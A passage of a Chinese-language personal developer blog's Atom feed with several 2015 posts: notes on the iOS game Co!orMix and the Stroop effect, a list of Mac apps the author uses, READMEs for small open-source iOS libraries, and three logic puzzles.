&lt;p&gt;项目虽小，可以用任何方式实现。不过这样一个小项目可以把面向对象思想很好地加以实践。所有的类都实现了对应的职能，隐藏了内部细节。&lt;/p&gt;

&lt;h2 id=&quot;总结&quot;&gt;总结&lt;/h2&gt;

&lt;p&gt;以前写过不少项目，不过都比较庞大，而且基本都是负面教材。 Co!orMix 是一个小而精的 App ，从萌生想法，到 Demo ，到设计出炉正式完工，整个周期一共就一星期：设计花了一整天做出了可供交互的原型；在代码上只花了两天，但是却不仓促。代码均在 GitHub 上托管，测试上使用 TestFlight 完成分发，通过种子用户的体验修改游戏参数，提高用户体验。同时兼顾各种极端操作，保证代码安全性，做到零错误率。&lt;/p&gt;

&lt;p&gt;简单来说，对于新手来说，大家可以先下一下这个 App ，感兴趣的可以自己实现一遍，一点都不困难！然后再对比一下我们的实现。如果 Co!orMix 有任何不合理的地方，也欢迎指正！&lt;/p&gt;

&lt;p&gt;最后欢迎大家体验！&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Website: http://colormix.cee.moe&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Twitter: &lt;a href=&quot;https://twitter.com/ColorMix_Game&quot;&gt;@ColorMix_Game&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://itunes.apple.com/us/app/co!ormix/id1011677035?ls=1&amp;amp;mt=8&quot;&gt;戳我进入 iTunes 下载&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;二维码下载：&lt;/p&gt;

    &lt;p&gt;&lt;img src=&quot;http://ww3.sinaimg.cn/thumbnail/aa266f4dgw1etqjoifoi2j20b40b4q4p.jpg&quot; alt=&quot;二维码&quot; /&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

          
          
        
      
        </content><summary>关于 Co!orMix</summary></entry><entry><title>Apps on Tsukiko</title><id>http://blog.cee.moe/Apps-on-Tsukiko.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/Apps-on-Tsukiko.html" /><published>2015-08-19T00:00:00-07:00</published><updated>2015-08-19T07:50:45-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;Q：「Tsukiko / 月子」是什麼？&lt;/p&gt;

&lt;p&gt;A：僅僅是我的 Macbook 的名字。&lt;/p&gt;

&lt;p&gt;（無語…）&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;今天正好整理了一下我的應用程序，順便推薦了一些給了 Lynn。&lt;/p&gt;

&lt;p&gt;以下均為一句話概括！&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;1Password 5：強大的密碼記錄和生成的軟件！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Aegisub：字幕組打軸特效專用。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Alfred 2：快速啟動神器，配合 Workflow 使用更佳。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;AliWangWang：買買買，剁手必備！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Alternote：好用的 Evernote 客戶端，可惜略貴。一直在蹭 Beta 版的。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Amphetamine：防止電腦休眠，自己也不常用。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Android File Transfer：管理安卓手機文件的工具。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Android Studio：Google 推出的基於 IntelliJ IDEA 的安卓開發 IDE，比 Eclipse 不知道高到哪裡去了。配合 Genymotion 使用更好！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;AppCode：JetBrains 家用來寫 Objective-C 的 IDE。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Atom：文本編輯器，卡卡卡，畢竟是 Web，自己還是喜歡用 Sublime。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Bartender：整理 Menubar 專用。喜歡簡潔乾淨的 Menubar 必備！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;BetterTouchTool：手勢還有控制屏幕大小。（有部份 Moom 的功能，El Capitan 要出了還是不買了）&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;BitTorrent Sync：分佈式同步工具，方便自己在不同電腦上同步文（tu）件（pian）。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Blackmagic Disk Speed Test：磁盤測速，每年也就用那麼兩次。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Brackets：很不錯的做網頁的 IDE，被 Adobe 收購了。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Charles：網絡抓包工具，很實用！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;CleanMyMac 2：買不起 3，繼續用 2 來清理我的電腦。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;CodeRunner：用過試用版沒有買，很棒的小巧的運行代碼的編輯器。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Dash：查文檔專用！不過 10 秒的等待很坑爹。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Day One：日記，偶爾做 Markdown 編輯器用。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Deploymate：檢測代碼中是否有被廢棄或者無法在低版本上運行的 API。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Dropbox：同步，容量好小 QwQ。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Droplr：分享短連接，可以分享圖片、視頻和文字或者其他文件。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Duet：讓你的 iPhone / iPad 成為第二塊顯示屏！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Evernote：臃腫的大象，偶爾用了。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Fantasitcal 2：日曆管理。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;FileZilla：FTP GUI 工具。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;FirefoxDeveloperEdition：你是個前端都會備著這個。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;GenyMotion：配合 AS 使用的，作為 Android 虛擬機。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;GhostNote：丟過數據，不解釋。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;GoAgentX：咳咳。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Google Chrome：吃我內存啦 (╯‵□′)╯︵┻━┻。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Hammer：構建網頁。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;HandBrake：壓制視頻。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Haroopad：用到現在感覺最好而且是免費的用來寫 Markdown 文件的 App！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;HockeyApp：收集 Crash 信息。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;IconJar：存儲 icon，分類。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;ImageOptim：壓縮圖片。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Inboard：&lt;a href=&quot;https://github.com/xhacker&quot;&gt;Xhacker&lt;/a&gt; 寫的一個用於素材歸檔的 App，很好用。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;IntelliJ IDEA 14：JetBrains 家用來寫 Java 的 IDE。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;iStat Menus：放在 MenuBar 上用於顯示系統信息，還能控制風扇轉速！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;iTerm：默認的 Terminal，網上很很多文章介紹為什麼要選擇 iTerm。順便使用 zsh 效果更佳。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Karabiner：當接上外接鍵盤時屏蔽內置鍵盤。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Keka：解壓，想換成 Entropy 了（沒錢啊）！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Kindle：看電子書。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Knock：利用 iPhone 敲兩下來解鎖電腦。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Koala：為 Sass / Less 生成 Css 文件。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;LineIn：混音專用，配合 Sunflower。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;MailPlane 3：收取 Gmail 郵件，我的默認郵件客戶端。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Manico：快速切換 App。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Memory Clean：清理內存。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Miao：刷新浪微博專用，以前是要付費的，現在因為新浪微博 API 的限制改為免費。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Microsoft OneNote：替代了 Evernote。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Microsoft Remote Desktop：用於連接我的 Windows 電腦。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Mounty：掛載 NTFS。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Movist：最好用的視頻播放器！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;MPlayerX：第二好用的視頻播放器！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;NeteaseMusic：網易云音樂，偶爾用，主要還是 iTunes 和 Vox。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;OBS：Twitch 直播。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Parallels Desktop 9：奸商，買不起。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Paste：剪貼板，很贊（可以用 Alfred 自帶的，不過沒這個好）。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Paw：超棒的調試 API 的工具。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Phpstorm：JetBrains 家用來寫 PHP（世界上最好的語言）的 IDE。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Pixate Studio：做交互稿用。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Pocket：稍後閱讀！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;PopClip：選中文字后有個小的彈窗，能做很多事情！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Prepo：裁剪 icon 圖標。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Pushbullet：給其他設備發送通知。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;QQ：聊天。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Quartz Composer：做原型和交互。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Quip：同步一些文檔，也沒怎麼用過。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;RescueTime：記錄我一天都幹了什麼！配合 WakaTime 使用！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Reveal：iOS 開發用，強大的透視圖。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;RightFont：挑選一款字體真的很難，它能幫到你。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Scroll Reverser：鼠標滾輪能夠正常滾動。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Server：自帶一個 Web 服務器還有 Xcode Server。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Sip：吸取顏色，自動變成代碼。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Skala Preview：同步到手機上預覽圖片（設計稿）。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Sketch：替代了 PS 和 AI 做設計稿了，矢量的哦！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Slack：團隊交流工具。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SoundFlower：錄音混音工具。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SourceTree：GUI 的 Git 管理工具。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Steam：買，買，買，男人的淘寶。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Sublime Text：最好的文本編輯器。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;TeamViewer：遠程桌面軟件。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Telegram：最好用的 IM，多平台支持。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Tunnelblick：OpenVPN。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Tweetbot：替代 Twitter 的 Twitter 客戶端。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Twitter：被 TweetBot 替代啦！&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Typed：Markdown 編輯器。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Typora：又是一個 Markdown 編輯器。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;VirtualBox：裝 GenyMotion 必需。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;VOX：音樂播放器，支持 Flac 等 iTunes 不支持的格式。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;WebStorm：JetBrains 家用來寫 Web 的 IDE。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;WeChat：微信 Mac 客戶端。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;WWDC：學習 WWDC 中的 Session，在 GitHub 上開源。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Xcode：碼農必備。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Yu：白噪音軟件。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

          
          
        
      
        </content><summary>Q：「Tsukiko / 月子」是什麼？</summary></entry><entry><title>PFAvatar</title><id>http://blog.cee.moe/PFAvatar.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/PFAvatar.html" /><published>2015-08-08T00:00:00-07:00</published><updated>2015-08-08T07:20:15-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;Generate material design avatar!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/PerfectFreeze/PFAvatar/raw/master/ScreenShot.png&quot; alt=&quot;ScreenShot&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;todo&quot;&gt;Todo&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;[ ] Custom Fonts&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;license&quot;&gt;License&lt;/h2&gt;

&lt;p&gt;Released under the MIT License.&lt;/p&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;https://github.com/PerfectFreeze/PFAvatar&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary>Generate material design avatar!</summary></entry><entry><title>PFNavigationDropdownMenu</title><id>http://blog.cee.moe/PFNavigationDropdownMenu.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/PFNavigationDropdownMenu.html" /><published>2015-08-02T00:00:00-07:00</published><updated>2015-08-05T04:52:06-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;The Objective-C version of &lt;a href=&quot;https://github.com/PhamBaTho/BTNavigationDropdownMenu&quot;&gt;BTNavigationDropdownMenu&lt;/a&gt;. Supports iOS 7.0+.&lt;/p&gt;

&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;/h2&gt;
&lt;p&gt;The simplest option is to use &lt;code class=&quot;highlighter-rouge&quot;&gt;pod &quot;PFNavigationDropdownMenu&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You can also add the &lt;code class=&quot;highlighter-rouge&quot;&gt;Classes&lt;/code&gt; folder to your project. There are no further requirements.&lt;/p&gt;

&lt;h2 id=&quot;usage&quot;&gt;Usage&lt;/h2&gt;
&lt;p&gt;See BTNavigationDropdownMenu &lt;a href=&quot;https://github.com/PhamBaTho/BTNavigationDropdownMenu#usage&quot;&gt;Usage Part&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;requirement&quot;&gt;Requirement&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;iOS 7.0+&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;license&quot;&gt;License&lt;/h2&gt;
&lt;p&gt;Released under the MIT License.&lt;/p&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;https://github.com/PerfectFreeze/PFNavigationDropdownMenu&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary>The Objective-C version of BTNavigationDropdownMenu. Supports iOS 7.0+.</summary></entry><entry><title>Pangu.objective-c</title><id>http://blog.cee.moe/Pangu.objective-c.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/Pangu.objective-c.html" /><published>2015-07-27T00:00:00-07:00</published><updated>2015-08-05T04:53:38-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;Paranoid text spacing for good readability, to automatically insert whitespace between CJK (Chinese, Japanese, Korean), half-width English, digit and symbol characters.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Go version: &lt;a href=&quot;https://github.com/vinta/pangu&quot;&gt;pangu.go&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Java version: &lt;a href=&quot;https://github.com/vinta/pangu.java&quot;&gt;pangu.java&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;JavaScript version: &lt;a href=&quot;https://github.com/vinta/paranoid-auto-spacing/blob/master/src/pangu.js&quot;&gt;pangu.js&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Node.js version: &lt;a href=&quot;https://github.com/huei90/pangu.node&quot;&gt;pangu.node&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Python version: &lt;a href=&quot;https://github.com/vinta/pangu.py&quot;&gt;pangu.py&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Ruby version: &lt;a href=&quot;https://github.com/dlackty/pangu.rb&quot;&gt;pangu.rb&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;/h2&gt;

&lt;p&gt;The simplest option is to use &lt;code class=&quot;highlighter-rouge&quot;&gt;pod &quot;Pangu&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You can also add the two files &lt;code class=&quot;highlighter-rouge&quot;&gt;NSString+Pangu.h/m&lt;/code&gt; to your project. There are no further requirements.&lt;/p&gt;

&lt;h2 id=&quot;usage&quot;&gt;Usage&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&quot;language-objective-c&quot;&gt;#import &quot;NSString+Pangu.h&quot;

[NSString spacing:@&quot;請問Jackie的鼻子有幾個？123個！&quot;];
// 請問 Jackie 的鼻子有幾個？123 個！
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;license&quot;&gt;License&lt;/h2&gt;

&lt;p&gt;Released under the MIT License.&lt;/p&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;https://github.com/Cee/pangu.objective-c&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary>Paranoid text spacing for good readability, to automatically insert whitespace between CJK (Chinese, Japanese, Korean), half-width English, digit and symbol characters.</summary></entry><entry><title>趣题</title><id>http://blog.cee.moe/funny-logic-questions.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/funny-logic-questions.html" /><published>2015-07-17T00:00:00-07:00</published><updated>2015-08-05T02:09:04-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;C 随机产生了两个不同的正整数，分别交给了 A、B，并让两人猜测谁手中的数更大。&lt;/p&gt;

    &lt;p&gt;A：不知道。&lt;/p&gt;

    &lt;p&gt;B：不知道。&lt;/p&gt;

    &lt;p&gt;A：还是不知道。&lt;/p&gt;

    &lt;p&gt;B：还是不知道。&lt;/p&gt;

    &lt;p&gt;A：知道了。&lt;/p&gt;

    &lt;p&gt;B：那我知道了，而且这两个数具体是多少也知道了。&lt;/p&gt;

    &lt;p&gt;问这两个数是多少。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;C 从 2 - 99 中随机产生了两个不同的正整数，把它们的和与积分别交给了 A、B，并让两人猜测这两个数分别是多少。&lt;/p&gt;

    &lt;p&gt;A：虽然我不知道这两个数是什么，但是我知道你也不知道。&lt;/p&gt;

    &lt;p&gt;B：那我知道了。&lt;/p&gt;

    &lt;p&gt;A：那我也知道了。&lt;/p&gt;

    &lt;p&gt;问这两个数是多少。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;C 随机产生两个不同的形如 n – 1/2^k – 1/2^(k+r) 的数，其中 n、k 是正整数，r 是非负整数。然后，C 把这两个数分别交给了 A、B，并让两人猜测谁手中的数更大。&lt;/p&gt;

    &lt;p&gt;A ：我不知道。&lt;/p&gt;

    &lt;p&gt;B ：我也不知道。&lt;/p&gt;

    &lt;p&gt;A ：我还是不知道。&lt;/p&gt;

    &lt;p&gt;B ：我也还是不知道。&lt;/p&gt;

    &lt;p&gt;C ：这样下去是没有用的！可以告诉你们，不管你们像这样来来回回说多少轮，你们仍然都没法知道，
谁手中的数更大一些。&lt;/p&gt;

    &lt;p&gt;A ：哇，这个信息量好像有点儿大！不过，即使知道了这一点，我还是不知道谁手中的数更大。&lt;/p&gt;

    &lt;p&gt;B ：我也还是不知道。&lt;/p&gt;

    &lt;p&gt;A ：我继续不知道。&lt;/p&gt;

    &lt;p&gt;B ：我也继续不知道。&lt;/p&gt;

    &lt;p&gt;C ：还是套用刚才的话，不管你们像这样继续说多少轮，你们仍然没法知道谁手中的数更大。&lt;/p&gt;

    &lt;p&gt;A ：哦……不过，我还是不知道谁手中的数更大。&lt;/p&gt;

    &lt;p&gt;B ：而且我也还是不知道。我们究竟什么时候才能知道呢？&lt;/p&gt;

    &lt;p&gt;C ：事实上啊，如果我们三个就像这样继续重复刚才的一切——你们俩互相说一堆不知道，我告诉你们这样永远没用，然后你们继续互说不知道，我继续说这不管用——那么不管这一切重复多少次，你们仍然不知道谁手中的数更大！&lt;/p&gt;

    &lt;p&gt;A ：哇，这次的信息量就真的大了。只可惜，我还是不知道谁的数更大一些。&lt;/p&gt;

    &lt;p&gt;B ：我也还是不知道。&lt;/p&gt;

    &lt;p&gt;A ：是吗？好，那我现在终于知道谁的数更大了。&lt;/p&gt;

    &lt;p&gt;B ：这样的话，那我也知道了。而且，我还知道我们俩手中的数具体是多少了。&lt;/p&gt;

    &lt;p&gt;A ：那我也知道了。&lt;/p&gt;

    &lt;p&gt;问这两个数是多少。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;参考：&lt;a href=&quot;http://www.matrix67.com/blog/archives/6377&quot;&gt;Matrix67 - 趣题：无限多层嵌套的逻辑推理&lt;/a&gt;&lt;/p&gt;

          
          
        
      
        </content><summary>  C 随机产生了两个不同的正整数，分别交给了 A、B，并让两人猜测谁手中的数更大。</summary></entry><entry><title>About Co!orMix (2) - StroopMix!</title><id>http://blog.cee.moe/about-colormix-2.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/about-colormix-2.html" /><published>2015-07-07T00:00:00-07:00</published><updated>2015-08-03T05:07:20-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;blockquote&gt;
  &lt;p&gt;本文作者為 UI/UX 設計師 &lt;a href=&quot;http://blog.zky.science&quot;&gt;@albuszheng&lt;/a&gt; 所寫。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;原文地址：http://blog.zky.science/about-coormix-stroopmix/&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Well，这个题目其实并没有什么特别深层的含义，只是比较表明的理解就可以了。当然，这不是什么专门来介绍 Stroop Effect 的。其实我只是想记录一下关于自己最近参与的一个 iOS 游戏 &lt;a href=&quot;http://colormix.cee.moe&quot;&gt;Co!orMix&lt;/a&gt;，和它诞生背后的一点小故事。&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://colormix.cee.moe&quot;&gt;Co!orMix&lt;/a&gt; 本身是一个非常简单的小游戏，至少我们从制作的角度来说，或者从玩法来说。简而言之，就是要在限定的时间内选出合适的颜色；至于什么颜色是合适，这个就比较复杂了，它可以是屏幕的背景色，可以是屏幕上字的颜色，或者就是屏幕上那个单词的意思了（不用担心，这些单词都是对颜色的描述）。&lt;/p&gt;

&lt;p&gt;废话到此，神秘的 Stroop Effect 还没有被正式的介绍过。不过，再次简而言之，这是被一位叫 John Ridley Stroop 的心理学家第一次发现的一种现象，所以就有了这个名字。具体一点，Stroop Effect 是对某一项任务反应时间的干扰的阐述，比较简单的例子就是文字和颜色了。比如用红色墨水写下的「蓝色」二字，无论你是需要说出墨水的颜色还是文字的意思都会收到另一方面的干扰，而影响你的反应时间。这也是 Stroop Effect 最初被发现的原因。&lt;/p&gt;

&lt;p&gt;当然那时候的实验要复杂的多，毕竟是要发文章的。为了防止这篇文章变成一片长篇大论的实验演示问，我按耐了内心的冲动，忍痛删掉了那个实验的过程。其实还是蛮有意思的。但是我们要回到主题上，经过刚刚简单的解释，你大概已经发现，其实 &lt;a href=&quot;http://colormix.cee.moe&quot;&gt;Co!orMix&lt;/a&gt; 和 Stroop Effect 之间还确实有一种独特的联系啊！这是当然，要不然我岂不是花费了 600 多字浪费在了和主题完全没有关系的东西上了？这要是篇高考作文，十有八九会出现在下一版的高考零分作文上了。&lt;/p&gt;

&lt;p&gt;好了，言归正传，关于 Stroop Effect 还有一些事也许你会有兴趣知道：Stroop Effect 现在被广泛的应用在 Stroop Test 上，这是一种广受欢迎的神经心理学测试，测试的主要目标是调查被试人员的心理容量（Psychological Capacities）；如果被试人员有一定程度的脑损伤、痴呆或者患有神经衰退性疾病、注意缺陷多动障碍和一些精神障碍，往往会在测试中呈现一个更高的注意力干扰率。&lt;/p&gt;

&lt;p&gt;不过，不用担心，&lt;a href=&quot;http://colormix.cee.moe&quot;&gt;Co!orMix&lt;/a&gt; 只是一个用来放松的小游戏，并不像临床测试一样有各种非常严密的设定，所以得分高的未必就是比较聪明，而得分低的也不见得就有什么问题，也许别人正好一连二三十个背景颜色选项呢。所以千万不要因为完不到三位数的得分而气疯的摔手机这样，毕竟 iPhone 怎么说值个肾啊，手机虽然是消耗品也经不起那么折腾的。&lt;/p&gt;

